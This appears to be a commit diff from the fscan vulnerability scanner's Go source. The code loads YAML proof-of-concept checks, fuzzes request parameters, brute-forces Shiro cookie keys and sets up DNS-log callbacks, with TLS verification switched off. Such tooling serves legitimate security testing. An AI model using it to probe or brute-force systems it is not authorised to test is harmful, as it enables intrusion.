config.UpdateCompileOptions(p.Set)
// 处理额外的设置项
if len(p.Sets) > 0 {
var setMap StrMap
for _, item := range p.Sets {
value := ""
if len(item.Value) > 0 {
value = item.Value[0]
}
setMap = append(setMap, StrItem{item.Key, value})
}
config.UpdateCompileOptions(setMap)
}
// 创建执行环境
env, err := NewEnv(&config)
if err != nil {
return false, fmt.Errorf("[-] 创建%s的执行环境失败: %v", p.Name, err), ""
}
// 解析请求
req, err := ParseRequest(oReq)
if err != nil {
return false, fmt.Errorf("[-] 解析%s的请求失败: %v", p.Name, err), ""
}
// 初始化变量映射
variableMap := make(map[string]interface{})
defer func() { variableMap = nil }()
variableMap["request"] = req
// 处理设置项
for _, item := range p.Set {
key, expression := item.Key, item.Value
if expression == "newReverse()" {
if !Common.DnsLog {
return false, nil, ""
}
variableMap[key] = newReverse()
continue
}
if err, _ = evalset(env, variableMap, key, expression); err != nil {
Common.LogError(fmt.Sprintf("[-] 执行%s的设置项失败: %v", p.Name, err))
}
}
// 处理爆破模式
if len(p.Sets) > 0 {
success, err := clusterpoc(oReq, p, variableMap, req, env)
return success, err, ""
}
// 处理单个规则的函数
DealWithRule := func(rule Rules) (bool, error) {
Headers := cloneMap(rule.Headers)
// 替换变量
for varName, varValue := range variableMap {
if _, isMap := varValue.(map[string]string); isMap {
continue
}
strValue := fmt.Sprintf("%v", varValue)
// 替换Header中的变量
for headerKey, headerValue := range Headers {
if strings.Contains(headerValue, "{{"+varName+"}}") {
Headers[headerKey] = strings.ReplaceAll(headerValue, "{{"+varName+"}}", strValue)
}
}
// 替换Path和Body中的变量
rule.Path = strings.ReplaceAll(rule.Path, "{{"+varName+"}}", strValue)
rule.Body = strings.ReplaceAll(rule.Body, "{{"+varName+"}}", strValue)
}
// 构建请求路径
if oReq.URL.Path != "" && oReq.URL.Path != "/" {
req.Url.Path = fmt.Sprint(oReq.URL.Path, rule.Path)
} else {
req.Url.Path = rule.Path
}
req.Url.Path = strings.ReplaceAll(req.Url.Path, " ", "%20")
// 创建新的请求
newRequest, err := http.NewRequest(
rule.Method,
fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, string([]rune(req.Url.Path))),
strings.NewReader(rule.Body),
)
if err != nil {
return false, fmt.Errorf("创建新请求失败: %v", err)
}
// 设置请求头
newRequest.Header = oReq.Header.Clone()
for k, v := range Headers {
newRequest.Header.Set(k, v)
}
Headers = nil
// 发送请求
resp, err := DoRequest(newRequest, rule.FollowRedirects)
newRequest = nil
if err != nil {
return false, err
}
variableMap["response"] = resp
// 执行搜索规则
if rule.Search != "" {
result := doSearch(rule.Search, GetHeader(resp.Headers)+string(resp.Body))
if len(result) == 0 {
return false, nil
}
for k, v := range result {
variableMap[k] = v
}
}
// 执行表达式
out, err := Evaluate(env, rule.Expression, variableMap)
if err != nil {
return false, err
}
if flag, ok := out.Value().(bool); ok {
return flag, nil
}
return false, nil
}
// 处理规则组的函数
DealWithRules := func(rules []Rules) bool {
for _, rule := range rules {
flag, err := DealWithRule(rule)
if err != nil || !flag {
return false
}
}
return true
}
// 执行检测规则
success := false
if len(p.Rules) > 0 {
success = DealWithRules(p.Rules)
} else {
for _, item := range p.Groups {
name, rules := item.Key, item.Value
if success = DealWithRules(rules); success {
return true, nil, name
}
}
}
return success, nil, ""
}
// doSearch 在响应体中执行正则匹配并提取命名捕获组
func doSearch(re string, body string) map[string]string {
// 编译正则表达式
r, err := regexp.Compile(re)
if err != nil {
Common.LogError(fmt.Sprintf("正则表达式编译失败: %v", err))
return nil
}
// 执行正则匹配
result := r.FindStringSubmatch(body)
names := r.SubexpNames()
// 处理匹配结果
if len(result) > 1 && len(names) > 1 {
paramsMap := make(map[string]string)
for i, name := range names {
if i > 0 && i <= len(result) {
// 特殊处理Cookie头
if strings.HasPrefix(re, "Set-Cookie:") && strings.Contains(name, "cookie") {
paramsMap[name] = optimizeCookies(result[i])
} else {
paramsMap[name] = result[i]
}
}
}
return paramsMap
}
return nil
}
// optimizeCookies 优化Cookie字符串,移除不必要的属性
func optimizeCookies(rawCookie string) string {
var output strings.Builder
// 解析Cookie键值对
pairs := strings.Split(rawCookie, "; ")
for _, pair := range pairs {
nameVal := strings.SplitN(pair, "=", 2)
if len(nameVal) < 2 {
continue
}
// 跳过Cookie属性
switch strings.ToLower(nameVal[0]) {
case "expires", "max-age", "path", "domain",
"version", "comment", "secure", "samesite", "httponly":
continue
}
// 构建Cookie键值对
if output.Len() > 0 {
output.WriteString("; ")
}
output.WriteString(nameVal[0])
output.WriteString("=")
output.WriteString(strings.Join(nameVal[1:], "="))
}
return output.String()
}
// newReverse 创建新的反连检测对象
func newReverse() *Reverse {
// 检查DNS日志功能是否启用
if !Common.DnsLog {
return &Reverse{}
}
// 生成随机子域名
const (
letters = "1234567890abcdefghijklmnopqrstuvwxyz"
subdomainLength = 8
)
randSource := rand.New(rand.NewSource(time.Now().UnixNano()))
subdomain := RandomStr(randSource, letters, subdomainLength)
// 构建URL
urlStr := fmt.Sprintf("http://%s.%s", subdomain, ceyeDomain)
u, err := url.Parse(urlStr)
if err != nil {
Common.LogError(fmt.Sprintf("解析反连URL失败: %v", err))
return &Reverse{}
}
// 返回反连检测配置
return &Reverse{
Url: urlStr,
Domain: u.Hostname(),
Ip: u.Host,
IsDomainNameServer: false,
}
}
// clusterpoc 执行集群POC检测,支持批量参数组合测试
func clusterpoc(oReq *http.Request, p *Poc, variableMap map[string]interface{}, req *Request, env *cel.Env) (success bool, err error) {
var strMap StrMap // 存储成功的参数组合
var shiroKeyCount int // shiro key测试计数
// 遍历POC规则
for ruleIndex, rule := range p.Rules {
// 检查是否需要进行参数Fuzz测试
if !isFuzz(rule, p.Sets) {
// 不需要Fuzz,直接发送请求
success, err = clustersend(oReq, variableMap, req, env, rule)
if err != nil {
return false, err
}
if !success {
return false, err
}
continue
}
// 生成参数组合
setsMap := Combo(p.Sets)
ruleHash := make(map[string]struct{}) // 用于去重的规则哈希表
// 遍历参数组合
paramLoop:
for comboIndex, paramCombo := range setsMap {
// Shiro Key测试特殊处理:默认只测试10个key
if p.Name == "poc-yaml-shiro-key" && !Common.PocFull && comboIndex >= 10 {
if paramCombo[1] == "cbc" {
continue
} else {
if shiroKeyCount == 0 {
shiroKeyCount = comboIndex
}
if comboIndex-shiroKeyCount >= 10 {
break
}
}
}
// 克隆规则以避免相互影响
currentRule := cloneRules(rule)
var hasReplacement bool
var currentParams StrMap
payloads := make(map[string]interface{})
var payloadExpr string
// 计算所有参数的实际值
for i, set := range p.Sets {
key, expr := set.Key, paramCombo[i]
if key == "payload" {
payloadExpr = expr
}
_, output := evalset1(env, variableMap, key, expr)
payloads[key] = output
}
// 替换规则中的参数
for _, set := range p.Sets {
paramReplaced := false
key := set.Key
value := fmt.Sprintf("%v", payloads[key])
// 替换Header中的参数
for headerKey, headerVal := range currentRule.Headers {
if strings.Contains(headerVal, "{{"+key+"}}") {
currentRule.Headers[headerKey] = strings.ReplaceAll(headerVal, "{{"+key+"}}", value)
paramReplaced = true
}
}
// 替换Path中的参数
if strings.Contains(currentRule.Path, "{{"+key+"}}") {
currentRule.Path = strings.ReplaceAll(currentRule.Path, "{{"+key+"}}", value)
paramReplaced = true
}
// 替换Body中的参数
if strings.Contains(currentRule.Body, "{{"+key+"}}") {
currentRule.Body = strings.ReplaceAll(currentRule.Body, "{{"+key+"}}", value)
paramReplaced = true
}
// 记录替换的参数
if paramReplaced {
hasReplacement = true
if key == "payload" {
// 处理payload的特殊情况
hasVarInPayload := false
for varKey, varVal := range variableMap {
if strings.Contains(payloadExpr, varKey) {
hasVarInPayload = true
currentParams = append(currentParams, StrItem{varKey, fmt.Sprintf("%v", varVal)})
}
}
if hasVarInPayload {
continue
}
}
currentParams = append(currentParams, StrItem{key, value})
}
}
// 如果没有参数被替换,跳过当前组合
if !hasReplacement {
continue
}
// 规则去重
ruleDigest := md5.Sum([]byte(fmt.Sprintf("%v", currentRule)))
ruleMD5 := fmt.Sprintf("%x", ruleDigest)
if _, exists := ruleHash[ruleMD5]; exists {
continue
}
ruleHash[ruleMD5] = struct{}{}
// 发送请求并处理结果
success, err = clustersend(oReq, variableMap, req, env, currentRule)
if err != nil {
return false, err
}
if success {
// 处理成功情况
if currentRule.Continue {
// 特殊POC的输出处理
if p.Name == "poc-yaml-backup-file" || p.Name == "poc-yaml-sql-file" {
Common.LogSuccess(fmt.Sprintf("[+] 检测到漏洞 %s://%s%s %s",
req.Url.Scheme, req.Url.Host, req.Url.Path, p.Name))
} else {
Common.LogSuccess(fmt.Sprintf("[+] 检测到漏洞 %s://%s%s %s 参数:%v",
req.Url.Scheme, req.Url.Host, req.Url.Path, p.Name, currentParams))
}
continue
}
// 记录成功的参数组合
strMap = append(strMap, currentParams...)
if ruleIndex == len(p.Rules)-1 {
Common.LogSuccess(fmt.Sprintf("[+] 检测到漏洞 %s://%s%s %s 参数:%v",
req.Url.Scheme, req.Url.Host, req.Url.Path, p.Name, strMap))
return false, nil
}
break paramLoop
}
}
if !success {
break
}
if rule.Continue {
return false, nil
}
}
return success, nil
}
// isFuzz 检查规则是否包含需要Fuzz测试的参数
func isFuzz(rule Rules, Sets ListMap) bool {
// 遍历所有参数
for _, param := range Sets {
key := param.Key
paramPattern := "{{" + key + "}}"
// 检查Headers中是否包含参数
for _, headerValue := range rule.Headers {
if strings.Contains(headerValue, paramPattern) {
return true
}
}
// 检查Path中是否包含参数
if strings.Contains(rule.Path, paramPattern) {
return true
}
// 检查Body中是否包含参数
if strings.Contains(rule.Body, paramPattern) {
return true
}
}
return false
}
// Combo 生成参数组合
func Combo(input ListMap) [][]string {
if len(input) == 0 {
return nil
}
// 处理只有一个参数的情况
if len(input) == 1 {
output := make([][]string, 0, len(input[0].Value))
for _, value := range input[0].Value {
output = append(output, []string{value})
}
return output
}
// 递归处理多个参数的情况
subCombos := Combo(input[1:])
return MakeData(subCombos, input[0].Value)
}
// MakeData 将新的参数值与已有的组合进行组合
func MakeData(base [][]string, nextData []string) [][]string {
// 预分配足够的空间
output := make([][]string, 0, len(base)*len(nextData))
// 遍历已有组合和新参数值
for _, existingCombo := range base {
for _, newValue := range nextData {
// 创建新组合
newCombo := make([]string, 0, len(existingCombo)+1)
newCombo = append(newCombo, newValue)
newCombo = append(newCombo, existingCombo...)
output = append(output, newCombo)
}
}
return output
}
// clustersend 执行单个规则的HTTP请求和响应检测
func clustersend(oReq *http.Request, variableMap map[string]interface{}, req *Request, env *cel.Env, rule Rules) (bool, error) {
// 替换请求中的变量
for varName, varValue := range variableMap {
// 跳过map类型的变量
if _, isMap := varValue.(map[string]string); isMap {
continue
}
strValue := fmt.Sprintf("%v", varValue)
varPattern := "{{" + varName + "}}"
// 替换Headers中的变量
for headerKey, headerValue := range rule.Headers {
if strings.Contains(headerValue, varPattern) {
rule.Headers[headerKey] = strings.ReplaceAll(headerValue, varPattern, strValue)
}
}
// 替换Path和Body中的变量
rule.Path = strings.ReplaceAll(strings.TrimSpace(rule.Path), varPattern, strValue)
rule.Body = strings.ReplaceAll(strings.TrimSpace(rule.Body), varPattern, strValue)
}
// 构建完整请求路径
if oReq.URL.Path != "" && oReq.URL.Path != "/" {
req.Url.Path = fmt.Sprint(oReq.URL.Path, rule.Path)
} else {
req.Url.Path = rule.Path
}
// URL编码处理
req.Url.Path = strings.ReplaceAll(req.Url.Path, " ", "%20")
// 创建新的HTTP请求
reqURL := fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, req.Url.Path)
newRequest, err := http.NewRequest(rule.Method, reqURL, strings.NewReader(rule.Body))
if err != nil {
return false, fmt.Errorf("[-] 创建HTTP请求失败: %v", err)
}
defer func() { newRequest = nil }() // 及时释放资源
// 设置请求头
newRequest.Header = oReq.Header.Clone()
for key, value := range rule.Headers {
newRequest.Header.Set(key, value)
}
// 发送请求
resp, err := DoRequest(newRequest, rule.FollowRedirects)
if err != nil {
return false, fmt.Errorf("[-] 发送请求失败: %v", err)
}
// 更新响应到变量映射
variableMap["response"] = resp
// 执行搜索规则
if rule.Search != "" {
searchContent := GetHeader(resp.Headers) + string(resp.Body)
result := doSearch(rule.Search, searchContent)
if result != nil && len(result) > 0 {
// 将搜索结果添加到变量映射
for key, value := range result {
variableMap[key] = value
}
} else {
return false, nil
}
}
// 执行CEL表达式
out, err := Evaluate(env, rule.Expression, variableMap)
if err != nil {
if strings.Contains(err.Error(), "Syntax error") {
Common.LogError(fmt.Sprintf("[-] CEL表达式语法错误 [%s]: %v", rule.Expression, err))
}
return false, err
}
// 检查表达式执行结果
if fmt.Sprintf("%v", out) == "false" {
return false, nil
}
return true, nil
}
// cloneRules 深度复制Rules结构体
// 参数:
// - tags: 原始Rules结构体
// 返回: 复制后的新Rules结构体
func cloneRules(tags Rules) Rules {
return Rules{
Method: tags.Method,
Path: tags.Path,
Body: tags.Body,
Search: tags.Search,
FollowRedirects: tags.FollowRedirects,
Expression: tags.Expression,
Headers: cloneMap(tags.Headers),
}
}
// cloneMap 深度复制字符串映射
func cloneMap(tags map[string]string) map[string]string {
cloneTags := make(map[string]string, len(tags))
for key, value := range tags {
cloneTags[key] = value
}
return cloneTags
}
// evalset 执行CEL表达式并处理特殊类型结果
func evalset(env *cel.Env, variableMap map[string]interface{}, k string, expression string) (error, string) {
out, err := Evaluate(env, expression, variableMap)
if err != nil {
variableMap[k] = expression
return err, expression
}
// 根据不同类型处理输出
switch value := out.Value().(type) {
case *UrlType:
variableMap[k] = UrlTypeToString(value)
case int64:
variableMap[k] = int(value)
default:
variableMap[k] = fmt.Sprintf("%v", out)
}
return nil, fmt.Sprintf("%v", variableMap[k])
}
// evalset1 执行CEL表达式的简化版本
func evalset1(env *cel.Env, variableMap map[string]interface{}, k string, expression string) (error, string) {
out, err := Evaluate(env, expression, variableMap)
if err != nil {
variableMap[k] = expression
} else {
variableMap[k] = fmt.Sprintf("%v", out)
}
return err, fmt.Sprintf("%v", variableMap[k])
}
// CheckInfoPoc 检查POC信息并返回别名
func CheckInfoPoc(infostr string) string {
for _, poc := range info.PocDatas {
if strings.Contains(infostr, poc.Name) {
return poc.Alias
}
}
return ""
}
// GetHeader 将HTTP头转换为字符串格式
func GetHeader(header map[string]string) string {
var builder strings.Builder
for name, values := range header {
builder.WriteString(fmt.Sprintf("%s: %s\n", name, values))
}
builder.WriteString("\r\n")
return builder.String()
}
+318
View File
@@ -0,0 +1,318 @@
package lib
import (
"context"
"crypto/tls"
"embed"
"errors"
"fmt"
"github.com/shadow1ng/fscan/Common"
"golang.org/x/net/proxy"
"gopkg.in/yaml.v2"
"net"
"net/http"
"net/url"
"os"
"strings"
"time"
)
// 全局HTTP客户端变量
var (
Client *http.Client // 标准HTTP客户端
ClientNoRedirect *http.Client // 不自动跟随重定向的HTTP客户端
dialTimout = 5 * time.Second // 连接超时时间
keepAlive = 5 * time.Second // 连接保持时间
)
// Inithttp 初始化HTTP客户端配置
func Inithttp() {
// 设置默认并发数
if Common.PocNum == 0 {
Common.PocNum = 20
}
// 设置默认超时时间
if Common.WebTimeout == 0 {
Common.WebTimeout = 5
}
// 初始化HTTP客户端
err := InitHttpClient(Common.PocNum, Common.Proxy, time.Duration(Common.WebTimeout)*time.Second)
if err != nil {
panic(err)
}
}
// InitHttpClient 创建HTTP客户端
func InitHttpClient(ThreadsNum int, DownProxy string, Timeout time.Duration) error {
type DialContext = func(ctx context.Context, network, addr string) (net.Conn, error)
// 配置基础连接参数
dialer := &net.Dialer{
Timeout: dialTimout,
KeepAlive: keepAlive,
}
// 配置Transport参数
tr := &http.Transport{
DialContext: dialer.DialContext,
MaxConnsPerHost: 5,
MaxIdleConns: 0,
MaxIdleConnsPerHost: ThreadsNum * 2,
IdleConnTimeout: keepAlive,
TLSClientConfig: &tls.Config{MinVersion: tls.VersionTLS10, InsecureSkipVerify: true},
TLSHandshakeTimeout: 5 * time.Second,
DisableKeepAlives: false,
}
// 配置Socks5代理
if Common.Socks5Proxy != "" {
dialSocksProxy, err := Common.Socks5Dialer(dialer)
if err != nil {
return err
}
if contextDialer, ok := dialSocksProxy.(proxy.ContextDialer); ok {
tr.DialContext = contextDialer.DialContext
} else {
return errors.New("无法转换为DialContext类型")
}
} else if DownProxy != "" {
// 处理其他代理配置
if DownProxy == "1" {
DownProxy = "http://127.0.0.1:8080"
} else if DownProxy == "2" {
DownProxy = "socks5://127.0.0.1:1080"
} else if !strings.Contains(DownProxy, "://") {
DownProxy = "http://127.0.0.1:" + DownProxy
}
// 验证代理类型
if !strings.HasPrefix(DownProxy, "socks") && !strings.HasPrefix(DownProxy, "http") {
return errors.New("不支持的代理类型")
}
// 解析代理URL
u, err := url.Parse(DownProxy)
if err != nil {
return err
}
tr.Proxy = http.ProxyURL(u)
}
// 创建标准HTTP客户端
Client = &http.Client{
Transport: tr,
Timeout: Timeout,
}
// 创建不跟随重定向的HTTP客户端
ClientNoRedirect = &http.Client{
Transport: tr,
Timeout: Timeout,
CheckRedirect: func(req *http.Request, via []*http.Request) error { return http.ErrUseLastResponse },
}
return nil
}
// Poc 定义漏洞检测配置结构
type Poc struct {
Name string `yaml:"name"` // POC名称
Set StrMap `yaml:"set"` // 单值配置映射
Sets ListMap `yaml:"sets"` // 列表值配置映射
Rules []Rules `yaml:"rules"` // 检测规则列表
Groups RuleMap `yaml:"groups"` // 规则组映射
Detail Detail `yaml:"detail"` // 漏洞详情
}
// MapSlice 用于解析YAML的通用映射类型
type MapSlice = yaml.MapSlice
// 自定义映射类型
type (
StrMap []StrItem // 字符串键值对映射
ListMap []ListItem // 字符串键列表值映射
RuleMap []RuleItem // 字符串键规则列表映射
)
// 映射项结构定义
type (
// StrItem 字符串键值对
StrItem struct {
Key string // 键名
Value string // 值
}
// ListItem 字符串键列表值对
ListItem struct {
Key string // 键名
Value []string // 值列表
}
// RuleItem 字符串键规则列表对
RuleItem struct {
Key string // 键名
Value []Rules // 规则列表
}
)
// UnmarshalYAML 实现StrMap的YAML解析接口
func (r *StrMap) UnmarshalYAML(unmarshal func(interface{}) error) error {
// 临时使用MapSlice存储解析结果
var tmp yaml.MapSlice
if err := unmarshal(&tmp); err != nil {
return err
}
// 转换为StrMap结构
for _, one := range tmp {
key, value := one.Key.(string), one.Value.(string)
*r = append(*r, StrItem{key, value})
}
return nil
}
// UnmarshalYAML 实现RuleMap的YAML解析接口
// 参数:
// - unmarshal: YAML解析函数
//
// 返回:
// - error: 解析错误
func (r *RuleMap) UnmarshalYAML(unmarshal func(interface{}) error) error {
// 使用MapSlice保持键的顺序
var tmp1 yaml.MapSlice
if err := unmarshal(&tmp1); err != nil {
return err
}
// 解析规则内容
var tmp = make(map[string][]Rules)
if err := unmarshal(&tmp); err != nil {
return err
}
// 按顺序转换为RuleMap结构
for _, one := range tmp1 {
key := one.Key.(string)
value := tmp[key]
*r = append(*r, RuleItem{key, value})
}
return nil
}
// UnmarshalYAML 实现ListMap的YAML解析接口
// 参数:
// - unmarshal: YAML解析函数
//
// 返回:
// - error: 解析错误
func (r *ListMap) UnmarshalYAML(unmarshal func(interface{}) error) error {
// 解析YAML映射
var tmp yaml.MapSlice
if err := unmarshal(&tmp); err != nil {
return err
}
// 转换为ListMap结构
for _, one := range tmp {
key := one.Key.(string)
var value []string
// 将接口类型转换为字符串
for _, val := range one.Value.([]interface{}) {
v := fmt.Sprintf("%v", val)
value = append(value, v)
}
*r = append(*r, ListItem{key, value})
}
return nil
}
// Rules 定义POC检测规则结构
type Rules struct {
Method string `yaml:"method"` // HTTP请求方法
Path string `yaml:"path"` // 请求路径
Headers map[string]string `yaml:"headers"` // 请求头
Body string `yaml:"body"` // 请求体
Search string `yaml:"search"` // 搜索模式
FollowRedirects bool `yaml:"follow_redirects"` // 是否跟随重定向
Expression string `yaml:"expression"` // 匹配表达式
Continue bool `yaml:"continue"` // 是否继续执行
}
// Detail 定义POC详情结构
type Detail struct {
Author string `yaml:"author"` // POC作者
Links []string `yaml:"links"` // 相关链接
Description string `yaml:"description"` // POC描述
Version string `yaml:"version"` // POC版本
}
// LoadMultiPoc 加载多个POC文件
func LoadMultiPoc(Pocs embed.FS, pocname string) []*Poc {
var pocs []*Poc
// 遍历选中的POC文件
for _, f := range SelectPoc(Pocs, pocname) {
if p, err := LoadPoc(f, Pocs); err == nil {
pocs = append(pocs, p)
} else {
fmt.Printf("[-] POC加载失败 %s: %v\n", f, err)
}
}
return pocs
}
// LoadPoc 从内嵌文件系统加载单个POC
func LoadPoc(fileName string, Pocs embed.FS) (*Poc, error) {
p := &Poc{}
// 读取POC文件内容
yamlFile, err := Pocs.ReadFile("pocs/" + fileName)
if err != nil {
fmt.Printf("[-] POC文件读取失败 %s: %v\n", fileName, err)
return nil, err
}
// 解析YAML内容
err = yaml.Unmarshal(yamlFile, p)
if err != nil {
fmt.Printf("[-] POC解析失败 %s: %v\n", fileName, err)
return nil, err
}
return p, err
}
// SelectPoc 根据名称关键字选择POC文件
func SelectPoc(Pocs embed.FS, pocname string) []string {
entries, err := Pocs.ReadDir("pocs")
if err != nil {
fmt.Printf("[-] 读取POC目录失败: %v\n", err)
}
var foundFiles []string
// 查找匹配关键字的POC文件
for _, entry := range entries {
if strings.Contains(entry.Name(), pocname) {
foundFiles = append(foundFiles, entry.Name())
}
}
return foundFiles
}
// LoadPocbyPath 从文件系统路径加载POC
func LoadPocbyPath(fileName string) (*Poc, error) {
p := &Poc{}
// 读取POC文件内容
data, err := os.ReadFile(fileName)
if err != nil {
fmt.Printf("[-] POC文件读取失败 %s: %v\n", fileName, err)
return nil, err
}
// 解析YAML内容
err = yaml.Unmarshal(data, p)
if err != nil {
fmt.Printf("[-] POC解析失败 %s: %v\n", fileName, err)
return nil, err
}
return p, err
}
+363 -56
View File
@@ -2,82 +2,108 @@ package lib
import (
"bytes"
"compress/gzip"
"crypto/md5"
"encoding/base64"
"encoding/hex"
"fmt"
"github.com/google/cel-go/cel"
"github.com/google/cel-go/checker/decls"
"github.com/google/cel-go/common/types"
"github.com/google/cel-go/common/types/ref"
"github.com/google/cel-go/interpreter/functions"
"github.com/shadow1ng/fscan/Common"
exprpb "google.golang.org/genproto/googleapis/api/expr/v1alpha1"
"io"
"math/rand"
"net/http"
"net/url"
"regexp"
"strconv"
"strings"
"time"
)
// NewEnv 创建一个新的 CEL 环境
func NewEnv(c *CustomLib) (*cel.Env, error) {
return cel.NewEnv(cel.Lib(c))
}
// Evaluate 评估 CEL 表达式
func Evaluate(env *cel.Env, expression string, params map[string]interface{}) (ref.Val, error) {
ast, iss := env.Compile(expression)
if iss.Err() != nil {
//fmt.Printf("compile: ", iss.Err())
return nil, iss.Err()
// 空表达式默认返回 true
if expression == "" {
return types.Bool(true), nil
}
prg, err := env.Program(ast)
if err != nil {
//fmt.Printf("Program creation error: %v", err)
return nil, err
// 编译表达式
ast, issues := env.Compile(expression)
if issues.Err() != nil {
return nil, fmt.Errorf("表达式编译错误: %w", issues.Err())
}
out, _, err := prg.Eval(params)
// 创建程序
program, err := env.Program(ast)
if err != nil {
//fmt.Printf("Evaluation error: %v", err)
return nil, err
return nil, fmt.Errorf("程序创建错误: %w", err)
}
return out, nil
// 执行评估
result, _, err := program.Eval(params)
if err != nil {
return nil, fmt.Errorf("表达式评估错误: %w", err)
}
return result, nil
}
// UrlTypeToString 将 URL 结构体转换为字符串
func UrlTypeToString(u *UrlType) string {
var buf strings.Builder
var builder strings.Builder
// 处理 scheme 部分
if u.Scheme != "" {
buf.WriteString(u.Scheme)
buf.WriteByte(':')
builder.WriteString(u.Scheme)
builder.WriteByte(':')
}
// 处理 host 部分
if u.Scheme != "" || u.Host != "" {
if u.Host != "" || u.Path != "" {
buf.WriteString("//")
builder.WriteString("//")
}
if h := u.Host; h != "" {
buf.WriteString(u.Host)
if host := u.Host; host != "" {
builder.WriteString(host)
}
}
// 处理 path 部分
path := u.Path
if path != "" && path[0] != '/' && u.Host != "" {
buf.WriteByte('/')
builder.WriteByte('/')
}
if buf.Len() == 0 {
// 处理相对路径
if builder.Len() == 0 {
if i := strings.IndexByte(path, ':'); i > -1 && strings.IndexByte(path[:i], '/') == -1 {
buf.WriteString("./")
builder.WriteString("./")
}
}
buf.WriteString(path)
builder.WriteString(path)
// 处理查询参数
if u.Query != "" {
buf.WriteByte('?')
buf.WriteString(u.Query)
builder.WriteByte('?')
builder.WriteString(u.Query)
}
// 处理片段标识符
if u.Fragment != "" {
buf.WriteByte('#')
buf.WriteString(u.Fragment)
builder.WriteByte('#')
builder.WriteString(u.Fragment)
}
return buf.String()
return builder.String()
}
type CustomLib struct {
@@ -99,7 +125,7 @@ func NewEnvOption() CustomLib {
cel.Declarations(
decls.NewIdent("request", decls.NewObjectType("lib.Request"), nil),
decls.NewIdent("response", decls.NewObjectType("lib.Response"), nil),
//decls.NewIdent("reverse", decls.NewObjectType("lib.Reverse"), nil),
decls.NewIdent("reverse", decls.NewObjectType("lib.Reverse"), nil),
),
cel.Declarations(
// functions
@@ -127,6 +153,10 @@ func NewEnvOption() CustomLib {
decls.NewOverload("randomUppercase_int",
[]*exprpb.Type{decls.Int},
decls.String)),
decls.NewFunction("randomString",
decls.NewOverload("randomString_int",
[]*exprpb.Type{decls.Int},
decls.String)),
decls.NewFunction("base64",
decls.NewOverload("base64_string",
[]*exprpb.Type{decls.String},
@@ -171,6 +201,26 @@ func NewEnvOption() CustomLib {
decls.NewInstanceOverload("icontains_string",
[]*exprpb.Type{decls.String, decls.String},
decls.Bool)),
decls.NewFunction("TDdate",
decls.NewOverload("tongda_date",
[]*exprpb.Type{},
decls.String)),
decls.NewFunction("shirokey",
decls.NewOverload("shiro_key",
[]*exprpb.Type{decls.String, decls.String},
decls.String)),
decls.NewFunction("startsWith",
decls.NewInstanceOverload("startsWith_bytes",
[]*exprpb.Type{decls.Bytes, decls.Bytes},
decls.Bool)),
decls.NewFunction("istartsWith",
decls.NewInstanceOverload("startsWith_string",
[]*exprpb.Type{decls.String, decls.String},
decls.Bool)),
decls.NewFunction("hexdecode",
decls.NewInstanceOverload("hexdecode",
[]*exprpb.Type{decls.String},
decls.Bytes)),
),
}
c.programOptions = []cel.ProgramOption{
@@ -190,7 +240,7 @@ func NewEnvOption() CustomLib {
},
},
&functions.Overload{
Operator: "string_bmatch_bytes",
Operator: "string_bmatches_bytes",
Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
v1, ok := lhs.(types.String)
if !ok {
@@ -252,6 +302,16 @@ func NewEnvOption() CustomLib {
return types.String(randomUppercase(int(n)))
},
},
&functions.Overload{
Operator: "randomString_int",
Unary: func(value ref.Val) ref.Val {
n, ok := value.(types.Int)
if !ok {
return types.ValOrErr(value, "unexpected type '%v' passed to randomString", value.Type())
}
return types.String(randomString(int(n)))
},
},
&functions.Overload{
Operator: "base64_string",
Unary: func(value ref.Val) ref.Val {
@@ -403,86 +463,333 @@ func NewEnvOption() CustomLib {
return types.Bool(strings.Contains(strings.ToLower(string(v1)), strings.ToLower(string(v2))))
},
},
&functions.Overload{
Operator: "tongda_date",
Function: func(value ...ref.Val) ref.Val {
return types.String(time.Now().Format("0601"))
},
},
&functions.Overload{
Operator: "shiro_key",
Binary: func(key ref.Val, mode ref.Val) ref.Val {
v1, ok := key.(types.String)
if !ok {
return types.ValOrErr(key, "unexpected type '%v' passed to shiro_key", key.Type())
}
v2, ok := mode.(types.String)
if !ok {
return types.ValOrErr(mode, "unexpected type '%v' passed to shiro_mode", mode.Type())
}
cookie := GetShrioCookie(string(v1), string(v2))
if cookie == "" {
return types.NewErr("%v", "key b64decode failed")
}
return types.String(cookie)
},
},
&functions.Overload{
Operator: "startsWith_bytes",
Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
v1, ok := lhs.(types.Bytes)
if !ok {
return types.ValOrErr(lhs, "unexpected type '%v' passed to startsWith_bytes", lhs.Type())
}
v2, ok := rhs.(types.Bytes)
if !ok {
return types.ValOrErr(rhs, "unexpected type '%v' passed to startsWith_bytes", rhs.Type())
}
// 不区分大小写包含
return types.Bool(bytes.HasPrefix(v1, v2))
},
},
&functions.Overload{
Operator: "startsWith_string",
Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
v1, ok := lhs.(types.String)
if !ok {
return types.ValOrErr(lhs, "unexpected type '%v' passed to startsWith_string", lhs.Type())
}
v2, ok := rhs.(types.String)
if !ok {
return types.ValOrErr(rhs, "unexpected type '%v' passed to startsWith_string", rhs.Type())
}
// 不区分大小写包含
return types.Bool(strings.HasPrefix(strings.ToLower(string(v1)), strings.ToLower(string(v2))))
},
},
&functions.Overload{
Operator: "hexdecode",
Unary: func(lhs ref.Val) ref.Val {
v1, ok := lhs.(types.String)
if !ok {
return types.ValOrErr(lhs, "unexpected type '%v' passed to hexdecode", lhs.Type())
}
out, err := hex.DecodeString(string(v1))
if err != nil {
return types.ValOrErr(lhs, "hexdecode error: %v", err)
}
// 不区分大小写包含
return types.Bytes(out)
},
},
),
}
return c
}
// 声明环境中的变量类型和函数
// CompileOptions 返回环境编译选项
func (c *CustomLib) CompileOptions() []cel.EnvOption {
return c.envOptions
}
// ProgramOptions 返回程序运行选项
func (c *CustomLib) ProgramOptions() []cel.ProgramOption {
return c.programOptions
}
func (c *CustomLib) UpdateCompileOptions(args map[string]string) {
for k, v := range args {
// 在执行之前是不知道变量的类型的,所以统一声明为字符型
// 所以randomInt虽然返回的是int型,在运算中却被当作字符型进行计算,需要重载string_*_string
var d *exprpb.Decl
if strings.HasPrefix(v, "randomInt") {
d = decls.NewIdent(k, decls.Int, nil)
} else if strings.HasPrefix(v, "newReverse") {
d = decls.NewIdent(k, decls.NewObjectType("lib.Reverse"), nil)
} else {
d = decls.NewIdent(k, decls.String, nil)
// UpdateCompileOptions 更新编译选项,处理不同类型的变量声明
